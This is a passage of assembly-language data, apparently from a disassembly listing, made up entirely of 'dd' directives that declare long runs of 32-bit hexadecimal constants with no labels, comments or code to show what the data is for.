		dd 94148CFDh, 8C027Ch, 5080C431h, 3AD9C393h, 0E05FD28Ah
		dd 732442D0h, 0B1079C97h, 89432Bh, 3BA9935Ch, 60153C10h
		dd 0A38F97h, 7A1DC10Ch,	0C4649C5Ah, 0E0DDA0h, 10D26577h
		dd 408080B5h, 9312ECEEh, 60043E96h, 0C60B15AFh,	0FCCC9429h
		dd 1CFC9CB0h, 0A0C208D3h, 8018DE65h, 0C828557Bh, 10CB9D03h
		dd 5998017Dh, 11929E49h, 0BFB004B6h, 9C18EADDh,	2F212F49h
		dd 209095BDh, 4882B649h, 6163947Ch, 272D10B8h, 9CD2E35Fh
		dd 0E6CC2909h, 3B60CF34h, 68F889F3h, 0EC1EA0B8h, 4D64B410h
		dd 2A0889D0h, 59BC8921h, 16BE05ECh, 38DC4397h, 78CE4994h
		dd 980DC431h, 0B8049FF4h, 7F20C0h, 28B4BCCFh, 0DAA59AE1h
		dd 162AE200h, 17661565h, 0A8620B5Bh, 0C87889BEh, 449408A0h
		dd 0C848B169h, 10599A0h, 0D322DC29h, 605CCCA5h,	0BE24A744h
		dd 0C089C464h, 9E38EC8Dh, 0BE2A50D0h, 5409E824h, 783E3342h
		dd 0D54C007Ch, 175490E2h, 9606224Dh, 73115A5Fh,	75493C20h
		dd 0A7608B13h, 0F2210AECh, 9D43F866h, 0B8AEB2h,	2B381A79h
		dd 55B1C426h, 0D96A6D60h, 0B4954BFh, 635FA58Fh,	200488F0h
		dd 0FE43BE82h, 179EB8E8h, 0C140F052h, 1C05AB4Ah, 0E4E0C9F9h
		dd 7DD74027h, 0B7D0A50Eh, 57022047h, 12581EF7h,	0B053CCCFh
		dd 564BBE6Ch, 7C029C04h, 1858E4BCh, 20F905C7h, 0CFDCCC11h
		dd 61A85A16h, 0C759D8D0h, 6FF417D1h, 87AC19h, 0F72DBB92h
		dd 5643B3h, 1E359524h, 0AE8ECB77h, 160154BAh, 3FC29147h
		dd 24C95920h, 0D59D5084h, 4AF4E85Eh, 0E6C9B88Ch, 3B7E25C1h
		dd 0E1042D70h, 989B5F2Dh, 0BF0010E8h, 0DC09F178h, 0B0913E1Ch
		dd 3071C80Fh, 0A4E27D25h, 76CEF468h, 0CC24D090h, 0C0F18ABh
		dd 15791894h, 9D620954h, 0B4A31183h, 80989EC2h,	4D01CCEAh
		dd 3A0ED0E9h, 8EE071FEh, 0B80300ADh, 5AC193F4h,	0C8C06708h
		dd 0B7B09CF1h, 42DD0BDBh, 60E415ACh, 0D220DC90h, 8D850072h
		dd 0BFE94E23h, 7E6ACF03h, 42C2CC99h, 458D823h, 0D6BE30CEh
		dd 0D970B0FBh, 6A25AB07h, 4CCF2488h, 0BEC318F1h, 1D0C88ECh
		dd 0AB1944BCh, 0ACA194DCh, 4A1EF890h, 0E809B01Eh, 4A4C00A2h
		dd 1C08A756h, 12466AFEh, 0A9C00016h, 2CB669DFh,	0FFB4BE18h
		dd 79755470h, 0F41748DAh, 0BE40E06Ch, 5DCD3Ah, 7C3FA198h
		dd 0DAB487h, 572AE3EAh,	65591427h, 5C9CB00h, 18F1C191h
		dd 97F496ACh, 0C0680074h, 5C11BE61h, 0F4E448CAh, 0AF29FE00h
		dd 14551ECFh, 0F0E5D95Ah, 0E0692725h, 6314115Eh, 20F96090h
		dd 999C4ED1h, 5CF866FCh, 9B59C224h, 2894840Dh, 0C00090A3h
		dd 44F84A4Dh, 6D019A2Ch, 772B1F92h, 74F29441h, 5796005Ch
		dd 28537ACFh, 1A0578BCh, 84E0DA74h, 90EC2694h, 32B1B3C0h
		dd 8EF4A4F4h, 20314041h, 9EC84C40h, 208C9217h, 1E193335h
		dd 59C1D02Dh, 7DC78E2h,	0B3C47A20h, 508D7694h, 816D3D09h
		dd 24486885h, 4D2B00F8h, 74EDA7C9h, 587ED0A4h, 45551609h
		dd 0E13B80D7h, 15B7D8Ah, 0C9247B75h, 2C8BFCCCh,	50184DE4h
		dd 66594AE4h, 0E726855Ch, 0B9E438D1h, 0A48212Eh, 5AE107B0h
		dd 30AC8782h, 0AD500270h, 0AF009904h, 0F55135h,	0C7CC84D4h
		dd 0C6191C1Dh, 0B3807450h, 69C44E0Bh, 12A48260h, 0F96C03FDh
		dd 61133290h, 85648E48h, 0D0D6A638h, 0E15096A8h, 84B0529Dh
		dd 0BEE24121h, 0E2D430A2h, 4440D841h, 4F85EDC4h, 561CD121h
		dd 599600C5h, 0F6DC325Ah, 8C402140h, 40F40726h,	642B30Eh
		dd 2F3801C1h, 93F525Fh,	8C802A2Ch, 0A4D568FDh, 0CCB6BBF8h
		dd 2E9DA000h, 5CC0D9C4h, 0F13854C6h, 0DD409685h, 6CD782BCh
		dd 0BEE1187Eh, 6307B1h,	0E0A52E12h, 0F44004ECh,	0DDB64A9Dh
		dd 0BF53E844h, 5169F494h, 0AA598644h, 80B028E0h, 0DF91C218h
		dd 0B107C319h, 0CDF9007Ch, 446AE5C9h, 0ADBEFE0Ch, 2DC1709Ch
		dd 0B090C354h, 3A67C442h, 5019CA10h, 0EF14205Ch, 5FA2DD09h
		dd 0CF746137h, 0FE3E53C0h, 1FA898EDh, 5299BB9Eh, 0E9D02489h
		dd 4AF9272Ch, 86245BBCh
		dd 889E2DBEh, 0D063E01h, 165AD4E4h, 0ADB068DAh,	0A77061Bh
		dd 569D13E6h, 2EBAAC12h, 845E042Ch, 0DAFA9892h,	31A23400h
		dd 76DE209Dh, 60DD0678h, 0E8C1E8F2h, 31D388B0h,	0F00DCC0Fh
		dd 503C9E7Dh, 8101582Fh, 6AEDCEF0h, 3C20FF60h, 9BD42CBBh
		dd 0F45E0330h, 80C5BAC3h, 3FDA0708h, 9003FF5Fh,	0C24CB42h
		dd 0E2F2C848h, 789A2A50h, 0EC3D2F05h, 883185D9h, 0C88F7907h
		dd 992022CDh, 0C1D281Ah, 0E031185Ah, 682CCEDBh,	2E479483h
		dd 52C62004h, 53EB9A5Ah, 6448045Ch, 59D4C173h, 0D0132ED6h
		dd 3CE0A052h, 83461C3h,	0E55B5A8Dh, 928C4929h, 44B22E50h
		dd 8E769D30h, 0F2F6D4CFh, 30AF5800h, 2746D969h,	879A0778h
		dd 70551F38h, 0E9606F26h, 922B3A05h, 7E84BEB8h,	0ACF97CD0h
		dd 5A79131Dh, 0FA94F155h, 3AC3F6h, 0D52E0B63h, 6AA6C1Ch
		dd 3C5FAFCCh, 48E380EFh, 5C1285C8h, 300294CFh, 50D98C1Ah
		dd 30212F4Ch, 3427C416h, 658E59Dh, 0E99192E1h, 40CC41C9h
		dd 0B523DADCh, 0DF4214B8h, 4958965Ch, 0BF307894h, 0AE8C4967h
		dd 0FC3E00D1h, 7CCA7E9Eh, 0FBF8BE52h, 403242F6h, 0ECCB2806h
		dd 436A380Ch, 0A8B00E5Bh, 94E9E441h, 2A806479h,	20E05F12h
		dd 1D9074B4h, 408EBB78h, 7D4E53A7h, 0CC25326Fh,	23208083h
		dd 0C0DA185Fh, 0E9692F30h, 0F898B2A2h, 0E0B15227h, 0B26D160h
		dd 3D59340Ah, 0F0D4DC6Ah, 0F922A840h, 0A289020h, 0CC5CBE21h
		dd 1E3C2CD8h, 5131F50Bh, 0E869A028h, 0AA12D051h, 7F2EDCB2h
		dd 2CCC0000h, 89C7C04Eh, 52A70400h, 0B5D8DE93h,	22BE28BCh
		dd 0AF130F9Ch, 0B0432C9h, 0D270E8EEh, 0D0F088E1h, 0C160C27Eh
		dd 59012843h, 0E035EEDBh, 4003D420h, 7E4ECE09h,	0A848A889h
		dd 748C4D48h, 0A31CF012h, 8A191214h, 14934080h,	294E4C01h
		dd 260CF17h, 16E5C258h,	43A218A2h, 4A87891h, 0C0A190ACh
		dd 0A4206E85h, 92F08B3Dh, 4DDC90F0h, 304AE021h,	89335960h
		dd 96DC7282h, 3B690978h, 0BC94B4A2h, 189890C8h,	0C0785918h
		dd 0B5C17230h, 0C23D6C31h, 389888h, 9768664Eh, 42046AF8h
		dd 935716FEh, 928C86C0h, 812E4FB7h, 88F62F60h, 4F05368h
		dd 91585090h, 2F715A3Ch, 88059807h, 7C971940h, 72CF14F1h
		dd 0BEC240C9h, 0F4C88E92h, 0EF28E5C5h, 2609ABEDh, 80C99D38h
		dd 1E39B79Ch, 8E623E93h, 8089A4A5h, 89CCA088h, 4DB3B06h
		dd 0B5BC98A5h, 4FF84F1Dh, 7C8906E8h, 1A594C30h,	2B90BB60h
		dd 0AA78A2BEh, 7EE842D8h, 0C784978h, 1B6FBE15h,	277C58D0h
		dd 0E6D4844Fh, 6178984Ch, 8032BE2Fh, 2ECEF5F8h,	0D76C002Fh
		dd 0FADF8840h, 0F47A378Eh, 58181107h, 8A159D61h, 232B80E2h
		dd 1DC60EF8h, 9493368Bh, 0D1941009h, 599C40C7h,	0C08AFDCDh
		dd 0E0B09973h, 266D272Ah, 984CBE24h, 78669E80h,	3CCDE1C5h
		dd 7864B794h, 4D28ED23h, 0AAD41810h, 631618h, 337620C2h
		dd 367DC0E1h, 22E3D20h,	82ACDCFh, 8CE28161h, 98E10802h
		dd 209414AFh, 88A4FB2Ch, 7D03CFF5h, 0A00D25EBh,	923E6C9Dh
		dd 5ACFA48h, 5AF2E961h,	4BACF0E5h, 4909CD07h, 22142C1Fh
		dd 42D244C2h, 58E9620Dh, 0C7CE05DCh, 0F02A4FF6h, 5676C23Ch
		dd 7988F981h, 9917D764h, 226F231Eh, 0CAA95904h,	0B724EE74h
		dd 0A9B73885h, 7B27221Ch, 0AF5F1521h, 0CC24D023h, 2E043A6Ch
		dd 90C7F43Fh, 93B9E374h, 7CCFC31Dh, 0C4F0EB6Dh,	0BA7C88E8h
		dd 3C58F02Ch, 0C7B03FAEh, 0EC9D6269h, 0B8885F54h, 4ED06649h
		dd 59C10004h, 44771480h, 68C395BCh, 0DACE3DF0h,	4A800CB9h
		dd 0EB458817h, 475600AAh, 0D4580137h, 9A00CBBCh, 5A272CA8h
		dd 16601428h, 0B0C69D65h, 1603D508h, 0C4C1DE0Bh, 73C4AD96h
		dd 0D22E34C1h, 266C426Bh, 0D44038E6h, 0DA006A9Eh, 4156D309h
		dd 95B69D64h, 10D15C89h, 8F35985h, 9B900890h, 0E4DD019Ah
		dd 0AB946B02h, 30960041h, 9CCEF0D0h, 0C42C00CCh, 36901FB6h
		dd 6B204890h, 1354BCFDh, 806417CCh, 945ACD60h, 0B2617F60h
		dd 14D8A7h, 4E5EAAFDh, 3823CA85h, 0A62E4490h, 5A09210Ah
		dd 0BED0FAB6h, 0BC7BC050h, 0E15BE726h, 0F8052489h, 8CBD0024h
		dd 30CCA018h, 47009227h, 1B3439CAh, 24014A6Ch, 3F309AB9h
		dd 2794581Eh, 0EF98B004h, 0B92CC401h, 7C38DA65h, 3B402ACAh
		dd 0D0485401h, 3B2728B4h, 7B08C810h, 93BAE217h,	8F12A4A6h
		dd 7E7C4147h, 0AC07A45Ah, 0C8054CD9h, 6CD5CAC2h, 144C1CACh
		dd 0C064914Ah, 16246D8Dh, 0CC30582Fh, 2EDB924h,	8C857B37h
		dd 8845CA7h, 4FE0CA73h,	0FBC9C459h, 0D0A4DD10h,	3FC2B8B9h
		dd 0A39C63BFh, 0D594C8FAh, 5F258045h, 4080BB30h, 1CD7142Dh
		dd 82BCBA84h, 0C52E5926h, 67EAE0CBh, 0FDFF5840h, 5D94680h
		dd 5F2249B1h, 1244E88Ch, 0E400ACB8h, 0EFDA4260h, 444B067h
		dd 55E34B2Fh, 1C618427h, 2B49024h, 94B2441Eh, 79BC48ADh
		dd 0ABD91DC4h, 0C8FA183Ah, 941A2C98h, 0F91658h,	0F254859Ch
		dd 0DD925EE2h, 0CC073E70h, 0D0FBBE24h, 60AA2E30h, 0D0BA0FB4h
		dd 34889029h, 0BE270308h, 2817E372h, 40B492CDh,	2AB4404Ch
		dd 0B8451E03h, 5037DF94h, 900CC468h, 5AE30DF9h,	0AF28FE23h
		dd 70388B76h, 0EC942A80h, 382B58B0h, 0F3E5D607h, 0B55DC285h
		dd 9E799600h, 0FCB7856h, 5F8D897h, 4EFA1140h, 345014D1h
		dd 6480F9E4h, 25C422DAh, 5642948h, 9ACF5F69h, 40CC8CC2h
		dd 98ED358h, 382AE857h,	0F88954D9h, 8510102Ch, 40BD48ADh
		dd 0F161BE13h, 86534040h, 0E202CC7Ch, 0E31CE88Ah, 4F8DE09h
		dd 87F79ABBh, 405F7148h, 0B3488033h, 9B354542h,	0A0D47031h
		dd 0C0EDBFC4h, 2565167Eh, 0E6018E3Ah, 87EE7BAh,	0EFC81327h
		dd 3380004h, 0A8DB02C0h, 3C608D30h, 23FB0C18h, 0B75C3108h
		dd 0E2D80A10h, 0D73CC27Fh, 0DBFC5C44h, 0E621820Fh, 3E00FF09h
		dd 0B8DAC563h, 776D00D1h, 4E1AB257h, 5A0038E1h,	3BE643CBh
		dd 61B308E2h, 6B365845h, 0BCECC04h, 4AB4C900h, 571A26D6h
		dd 0A1F91ECDh, 5C78000Ah, 44D0EE63h, 0F0789EE7h, 2EA86245h
		dd 0C5DC5801h, 0D3E0CB53h, 0A8C26039h, 0BBADFBAEh, 10EBE330h
		dd 3956A27h, 41D67B20h,	6BC3D0A8h, 0BEAFB000h, 0F5E71598h
		dd 0DCFF1CCDh, 2717811Dh, 99590662h, 1E8067F8h,	88B0B602h
		dd 0AD28DBB0h, 0A4800886h, 0E0F3692h, 0ACBA2C8h, 0D7000808h
		dd 0AD9BDA6Bh, 0E3AE3A40h, 0C0B0D33Fh, 0EE6A4F38h, 0B1002371h
		dd 81C9BBC7h, 3F34E67h,	0D0667968h, 801CA9C0h, 210AB5h
		dd 0D39008E8h, 2B8950AFh, 1D28C48h, 486AF8CDh, 0D050CABBh
		dd 0D000C892h, 0CB1BB171h, 19C1B3DFh, 30404F70h, 78F06A89h
		dd 0FC03E210h, 69DC3162h, 489F6C18h, 4A12F0A4h,	1800A664h
		dd 4CB2BBDh, 19030020h,	6FF1CE57h, 0D0189367h, 5830E163h
		dd 13660317h, 4CA16284h, 0CB3503Fh, 797C31BFh, 0E301003Fh
		dd 17282542h, 4F68A962h, 0E106E091h, 15107663h,	98E823D3h
		dd 0DFF74C00h, 22B0082Ch, 301048C6h, 28023AB8h,	848B5615h
		dd 0EDD70A00h, 106B0DBFh, 0FF503478h, 0F300AE08h, 0B1736EADh
		dd 0C0AA2262h, 78105F69h, 0A8A1A6C5h, 0B8012ABBh, 74F04C37h
		dd 840CEE1h, 5485E0B2h,	1428C825h, 0F469D816h, 0A010B894h
		dd 0D3D406A2h, 128FFDCh, 0CDE1BA78h, 54B78548h,	77EC60C8h
		dd 27604B08h, 0D0D90238h, 0C0DA5418h, 333F1E61h, 7C6E818Ah
		dd 0D8208D6Ah, 20C02CC3h, 8390D989h, 5E7000C7h,	6171DF7Fh
		dd 9840DE4Fh, 33693008h
		dd 19483458h, 0BBB6FC00h, 0D9E2DD6h, 7C700044h,	0D1CD0E82h
		dd 6631F93Bh, 0AA2C6095h, 0FD0AB200h, 2A927891h, 8103821h
		dd 0FA82C040h, 7DC20D0h, 0BBC6A400h, 1EC17C4h, 6670000Bh
		dd 0B5843929h, 165082D3h, 8187DB4h, 0A64831D8h,	9437B64h
		dd 0F03754BCh, 8898B42Ah, 7500694Fh, 16405C55h,	5F6200F1h
		dd 0B17812D0h, 0DE28CB03h, 28125087h, 5449D608h, 0E108B3D5h
		dd 7835A09Dh, 2F2802C2h, 0DD54DB00h, 37E100BBh,	9B63707Dh
		dd 1C12C76Ah, 0C000F4B3h, 2EF3A8F7h, 4E80061h, 6EC4EB8Dh
		dd 0B04C4065h, 50821C3Ch, 0D0143181h, 3430711Eh, 0A7480070h
		dd 0FB856302h, 0A4A0EBC2h, 0B526ED35h, 8800683Fh, 62D89080h
		dd 0C05260F2h, 22C8B681h, 35B05900h, 0B5F1B3D4h, 0C1FB03CFh
		dd 74D3DEEAh, 1578D4ECh, 24569890h, 6B29A800h, 8AAF4741h
		dd 7FD0D60Ch, 3D689070h, 2986209Dh, 30BA6F62h, 0BB996E00h
		dd 70693E8Ch, 58BC0067h, 0A06BD909h, 4FF2E0FEh,	0D30AA80Eh
		dd 4B48E19Eh, 0FBE040D2h, 54DA2661h, 0C31001CCh, 21FAE653h
		dd 0BB00E6F8h, 0F0DC1FE5h, 0F0F07F76h, 0B608A1CDh, 1025D842h
		dd 18050405h, 0BD650803h, 24D3C80Eh, 490CA30h, 62246210h
		dd 1BBD303Bh, 88FE4064h, 15F023F2h, 3133D330h, 3EADEBAAh
		dd 9051B068h, 81420A6h,	8D3ECDEFh, 68A69408h, 2084B1E9h
		dd 86D8EA62h, 0D101F828h, 0E01DE8A1h, 54206347h, 0B06EE35Eh
		dd 561BE4A5h, 0C90E05BEh, 51F8EC02h, 2A09A0B9h,	0B88C77C4h
		dd 19C57B16h, 3D020369h, 0BEAEC1Dh, 32815D40h, 6F06BACFh
		dd 30C76C63h, 34EA53B5h, 5A224267h, 0DB32345Ch,	9CF90D06h
		dd 331EA158h, 33BF5701h, 0EE30B710h, 0C2D701F8h, 0B9EA07EFh
		dd 5380C3F4h, 518ED84h,	0AD46258Ah, 2A18C7F7h, 74B673C9h
		dd 3588541Fh, 0F84C5DDEh, 2671203h, 57C9BF10h, 7388ED82h
		dd 88990C23h, 7F2A6910h, 56797329h, 1208AF30h, 0CE8223EAh
		dd 9EC65B0Ah, 58000C73h, 40134DC0h, 0C049BA7Ch,	60FA320Bh
		dd 80E1CF02h, 8A525A8Ah, 0A1C282E2h, 0C8D843Eh,	0F5AA0D88h
		dd 51FA17C7h, 75C1406Dh, 2AEAD0CFh, 0D6008231h,	5F472E1Dh
		dd 41D1F800h, 8B4C7B36h, 610C046h, 0E5349AA4h, 59C20203h
		dd 52322EAh, 55253D53h,	35A52260h, 34BD03h, 65BCCA7Fh
		dd 0E2C22E8Ch, 0DAF80919h, 0EAF8070Ah, 92401AFDh, 6C08DE25h
		dd 0C4E514F6h, 34EF8C2Ah, 0F10E88Fh, 0F00606E0h, 0C7075F66h
		dd 802847B9h, 3A3A1B3h,	5402F817h, 0D8AB78F7h, 523EB8E9h
		dd 0D40F2DE5h, 52F07257h, 5D68939h, 1907EAE9h, 10CCF150h
		dd 5A1F6AF6h, 0F3DF8C58h, 870FBF86h, 465FC118h,	7223027h
		dd 0E04ED5BBh, 9574A251h, 0E064CAADh, 4E921635h, 5F69CF80h
		dd 2D9E3D54h, 6806EA80h, 912779Dh, 90306074h, 0F0832676h
		dd 7AA2051Fh, 6E833454h, 82BA0559h, 5AF423C5h, 0FE03C6B9h
		dd 978C7BA4h, 7B744Fh, 0A34AF482h, 8AB61850h, 0DFA51C60h
		dd 3CA0E2D5h, 0DE79456h, 0AF489E4Dh, 49690693h,	540A51Fh
		dd 7152653Dh, 8DB35E15h, 1152F1EEh, 500E316Dh, 8378EA7Fh
		dd 0CBE08A8h, 1C07EBE2h, 0CD7A392Eh, 0CD042AB5h, 600E9A59h
		dd 6B44D2C6h, 24693D40h, 624815E7h, 17696EEAh, 14E0D85Eh
		dd 3106FFACh, 625A69C4h, 8AED433h, 0C289A498h, 0E2C0EA13h
		dd 5195125Dh, 780370F3h, 5A679E1Dh, 9D3828D4h, 2ADD6892h
		dd 82D5CAC1h, 0E78A5760h, 0D085442h, 2D104906h,	6324695Ah
		dd 56FD20Fh, 50527A2Bh,	0D7840D18h, 0D2BB386Bh,	2962E00h
		dd 0A1D3EAFBh, 41A87E99h, 540CD420h, 3C33BBAh, 5E7D4585h
		dd 0EBC2CB02h, 205A0885h, 69C910D9h, 0EC74D72Bh, 57E17719h
		dd 80655FD8h, 5973C302h, 845BD103h, 363403C1h, 0D06322Eh
		dd 0EA525D06h, 13EF541h, 0F9296D2Dh, 23102869h,	0B353026Eh
		dd 40D489BAh, 0D47E1AB9h, 977F5B1h, 0F42A9630h,	52027216h
		dd 0B957D3BAh, 225616Bh, 0BC541980h, 62943568h,	5CDA2A1Fh
		dd 4EEACC42h, 82344C4Bh, 38980224h, 0BB5F008Fh,	153D60C3h
		dd 5CE6994Eh, 0F55105EDh, 0BB00DCF2h, 0BD0671E7h, 7213BC33h
		dd 6387FE0Ah, 8C5D3092h, 0F0FE6445h, 89B0D56h, 6FA34008h
		dd 13143704h, 284DA200h, 3CC20B74h, 518003E6h, 9649595Eh
		dd 0EA12D6F8h, 23293FE5h, 0F854B0EDh, 7429065h,	0C25B5553h
		dd 0FCF6685h, 0C3845FF3h, 0D49FC35h, 7E53601h, 60543976h
		dd 0C44282E9h, 37EC5476h, 728C48BFh, 17AA5AC9h,	2C601093h
		dd 5F9A3032h, 194C9823h, 12BC809Bh, 7A6C3F14h, 0FF31318Fh
		dd 98E0E68Ah, 45A9C284h, 37C30925h, 55058DCAh, 0D3049A15h
		dd 2469836Ch, 6D355A53h, 0BEDFAC89h, 0D49F8921h, 0D02C1594h
		dd 5C6605C7h, 90800323h, 5A03ED8h, 0EAC62A72h, 59499016h
		dd 4F91F232h, 40C0DE6Eh, 0EA6F9F62h, 22964161h,	0DBCE16C2h
		dd 5F06841h, 62805250h,	42EB43F6h, 1D58A2EAh, 683CB6DEh
		dd 8B7C484h, 5F129D56h,	6C260664h, 15090218h, 0D70208CFh
		dd 8002262h, 3D8CFF2Ah,	122896B9h, 5F090CB1h, 53E02490h
		dd 52C9FA83h, 0BDDF0CAFh, 1A47BC45h, 0A105185h,	32208526h
		dd 9EC92B82h, 0AA46C169h, 0FC5584DBh, 6F82093h,	46154409h
		dd 35E18369h, 0FBDF507Bh, 0F85F690h, 5ACB8A5Fh,	1E6D98FCh
		dd 641EEF06h, 0E8E6292Eh, 809FA649h, 0DE41E523h, 7B7255AEh
		dd 9E0DE21Ch, 0E317CC69h, 0B76BAE6h, 24DB709h, 116084C9h
		dd 1444778Dh, 251680Bh,	0A19CBDEh, 1AB40292h, 59E176F2h
		dd 0E6DD9813h, 2605EEB4h, 25538E0h, 48DB7CDDh, 83D0F582h
		dd 8AF93202h, 0E7E823C8h, 12A8F001h, 0C8D2EA45h, 0B8FAF859h
		dd 930D4511h, 50045192h, 0F800DAA2h, 9E9C2D9h, 9AC03602h
		dd 0C32A2E23h, 9D92E56Bh, 186B515Ch, 0FE8A3787h, 8E604BEEh
		dd 1D0AC6D1h, 0F8D67DF2h, 0BE42605Eh, 8A05693h,	6002BC90h
		dd 8AFE227Dh, 8BCD45D0h, 0C08FE0F8h, 34B6E840h,	0BAA03AF7h
		dd 12B054DEh, 2EE1D207h, 83D1F3E3h, 0A720C82Ah,	696009F9h
		dd 0D79B2775h, 4F083603h, 0F958486Ch, 51661D4Ah, 5607E57Fh
		dd 5CA0CD21h, 0AEAB5323h, 0E5344439h, 16D196F1h, 8A205E55h
		dd 0D3141FADh, 0DB7E5540h, 53CF5B30h, 9EF8E38Ah, 256F46Ah
		dd 605A16A4h, 0BA6CD974h, 2105A095h, 492AEA61h,	84DAE2C4h
		dd 4EB01B53h, 74126967h, 425B6172h, 803E02C3h, 6C0ACB0Ah
		dd 0A806E2EAh, 1E76E3CCh, 0CA805A04h, 0B12D5C05h, 627D9288h
		dd 94879406h, 65CD5330h, 0C1C2580Eh, 2C6FEC4Bh,	43791A59h
		dd 0D749316Fh, 635D439Fh, 0A42E6942h, 1E37B3CDh, 0C8228889h
		dd 0BF016954h, 33E85F57h, 9CF0482h, 0C0241363h,	0DB3DAB5Ch
		dd 0CB0C1563h, 0C242E052h, 470330E7h, 0D4CDBC14h, 0F802DC03h
		dd 5E2BEAh, 37CBC66Dh, 0E6D278F7h, 0DC0FF6F0h, 0E0AE5CA5h
		dd 242C8BEEh, 0EE8D6EE9h, 2C58301h, 5C169F87h, 1881D00Ch
		dd 77FD3168h, 8834890Ah, 3B8BC732h, 0DF98ACBBh,	54510E1Ah
		dd 4E33597Fh, 32FF1015h, 7040582Eh, 0E6043C24h,	0CD310630h
		dd 76A6F427h, 3368EEF7h, 42F5622h, 8B3B21EEh, 0C4811E1Ch
		dd 56973EA4h, 0FDF80CABh, 0EA45836h, 0EC420686h, 55008169h
		dd 0DD73F368h, 0C15D1900h, 0ED8104E5h, 0A74B198Ch, 0FE5856h
		dd 0FCE28952h, 8322A0C2h, 5187FEEAh, 0A5879314h, 111F7AB8h
		dd 9925E932h, 83228BFFh, 84E58AB9h, 2DB84489h, 665C0663h
		dd 664BF441h, 7E5B70D7h
		dd 22064730h, 77C18141h, 33F33B7Dh, 4EF20C7Dh, 880C2870h
		dd 0EC035107h, 0FCD3CE01h, 95E54048h, 1DB00550h, 0A3021B7h
		dd 64604D7h, 6CFABEE9h,	81FB0101h, 792682EBh, 0F933D3F7h
		dd 0FB514260h, 9B4D2845h, 7CCF74FDh, 9311A040h,	0DA738B60h
		dd 5057E500h, 0CC3CD4B8h, 0CF25001Ah, 57D7651h,	5B392D64h
		dd 55FF8174h, 0D0F71593h, 2D791E8h, 0C7897A80h,	0CFE05158h
		dd 3E056B5Ah, 0D885E96Fh, 66BAC440h, 9077F20Bh,	0CFDF5316h
		dd 2B122078h, 33BA3150h, 0BD8B06CEh, 0CCC3BDBCh, 0D69A18FFh
		dd 72885334h, 5BDA3DEBh, 485D1592h, 8742C113h, 0E381480Ch
		dd 9D10820Eh, 10C52E43h, 8A0A875Dh, 6B180D5Ch, 1E012D5Fh
		dd 8C6C6D6Eh, 8114E72Ah, 2076190h, 5E5BF603h, 9B1275D2h
		dd 40E39BD6h, 370140E0h, 50125AD3h, 5503E80Ah, 7D2EBD12h
		dd 1353C309h, 0BAE60027h, 73304557h, 2D3ED8BBh,	0E940615Fh
		dd 4F9D1819h, 3C7ECCD5h, 0CBFA520Eh, 0D50C4C68h, 0C37D3A22h
		dd 57B7E055h, 3946835Eh, 88641E0Fh, 0D5F80602h,	51590A20h
		dd 0C89BE189h, 7D2778A1h, 1451BB81h, 0ACF899C2h, 0DA013C14h
		dd 0A508EA28h, 25BDABF3h, 80DD2AF8h, 6D7BC30h, 0D7B0049h
		dd 45D943B3h, 2A6818E9h, 0DCD922Ch, 0C39C21F8h,	5BD9301Ch
		dd 0D958C199h, 5BDF4C8h, 202CB9C8h, 0A01C82CCh,	0EDBE567Fh
		dd 36030C6Bh, 0C12F681h, 0AA0C1460h, 90747A70h,	664F4027h
		dd 0D4F2B992h, 0D8751D66h, 668340DFh, 2DB5511Ch, 5984EB1Dh
		dd 55DDC328h, 7368408Fh, 0CA0911DBh, 1078B353h,	0A0DD8E5Eh
		dd 48875A87h, 668D7934h, 9C50D02Dh, 8A3DE915h, 685700F7h
		dd 46486965h, 24537E5Fh, 8051E074h, 634AB1EFh, 0D77D8761h
		dd 0B9273532h, 19C16BFDh, 166A9B72h, 4D23204Eh,	73C18080h
		dd 0E05AFE22h, 30591DCAh, 0F51EBED5h, 0EA10CD31h, 5CA59464h
		dd 0AE14CA73h, 600C65A6h, 547A5A1Ch, 3BA0F49h, 58792CD1h
		dd 34F95756h, 0B6FE24ECh, 0C6FE3E00h, 28EFEE80h, 0F882C3F0h
		dd 66225004h, 50898402h, 0A3F0A6B6h, 0F077C5CFh, 0C781E731h
		dd 0B076F333h, 4911FD86h, 40290208h, 2E62DAB3h,	2C555DCh
		dd 54C601CBh, 3BD28040h, 5327340Eh, 490D01BBh, 3720312Eh
		dd 37349001h, 879336B7h, 950537D0h, 68480213h, 0B4C67F1Dh
		dd 8124E6E6h, 0D46E86C6h, 1CF9476Ah, 2DC7D801h,	68713C1Bh
		dd 7FEF3241h, 5EBE0347h, 1EFAE9CCh, 0D8EA4900h,	0F734EF16h
		dd 0A690D2h, 329E7B2Dh,	0F0E4E305h, 0C2292516h,	80F2AB00h
		dd 0FC8DCB6Bh, 6504F81Fh, 22DBE03h, 5E65E907h, 42CC069h
		dd 8FD774D1h, 138BEF93h, 126D1C08h, 0C2B5345Eh,	68047D86h
		dd 0F794F38Ch, 9845A165h, 2F982B94h, 45FD30E9h,	2827B60Ah
		dd 505BDE01h, 0C48001B4h, 76E4C0F4h, 79F41204h,	59A0852h
		dd 0C924692Ch, 1FA67DACh, 68535087h, 77D22660h,	8A4B585Bh
		dd 89114D31h, 0EDF44D8h, 31768386h, 72E831FDh, 0EC4E6A4Eh
		dd 0F2E955B3h, 4117E620h, 484F3633h, 6CE98232h,	0FB81A262h
		dd 0E3752355h, 21EDA841h, 3AE44104h, 0F9DB64D3h, 215A5F12h
		dd 0DCF52906h, 815E0016h, 2D4B38C9h, 0B2316836h, 47164D32h
		dd 26F9F134h, 0E2B03C8Bh, 15822968h, 2B0A7554h,	0F37F12BCh
		dd 102CDD49h, 0A1048F36h, 4E43D206h, 7012B4ECh,	14CFC6DDh
		dd 891ED800h, 55D5EF0h,	872F06EEh, 0D1CCE941h, 0CA816606h
		dd 90A2934h, 50ED37F2h,	33915F0Ah, 0BAE8520Ah, 88A1791Ch
		dd 60A66154h, 0C6B28063h, 1DD9892Ch, 0A5CEDA5Bh, 0C2059D0h
		dd 808BF021h, 5B7E5453h, 0D9FBC348h, 4C80870Ch,	0FC0095Ch
		dd 4D945F84h, 0D0773E39h, 78B8552Ah, 0BF162293h, 9CFDA732h
		dd 45DC2CB6h, 8A9A69FCh, 8297E6C1h, 0F1015A0Ah,	88EAE25Eh
		dd 0E961219Bh, 1E2968ACh, 0C1B30F14h, 20922B88h, 0CE808707h
		dd 0A3F661EEh, 3034F730h, 48739957h, 5E94106h, 2BF0156h
		dd 5FFE6441h, 2028DD32h, 4E5E2437h, 0D312B7E3h,	0D793DFF7h
		dd 35A15050h, 0F8891216h, 0C314331Dh, 8AB17CD1h, 44963209h
		dd 0F625B291h, 2D234028h, 0D62B5D02h, 60E82975h, 199DA5h
		dd 0F3811A76h, 6FA032C0h, 3C907998h, 0C9D0885Ch, 0D220005Ah
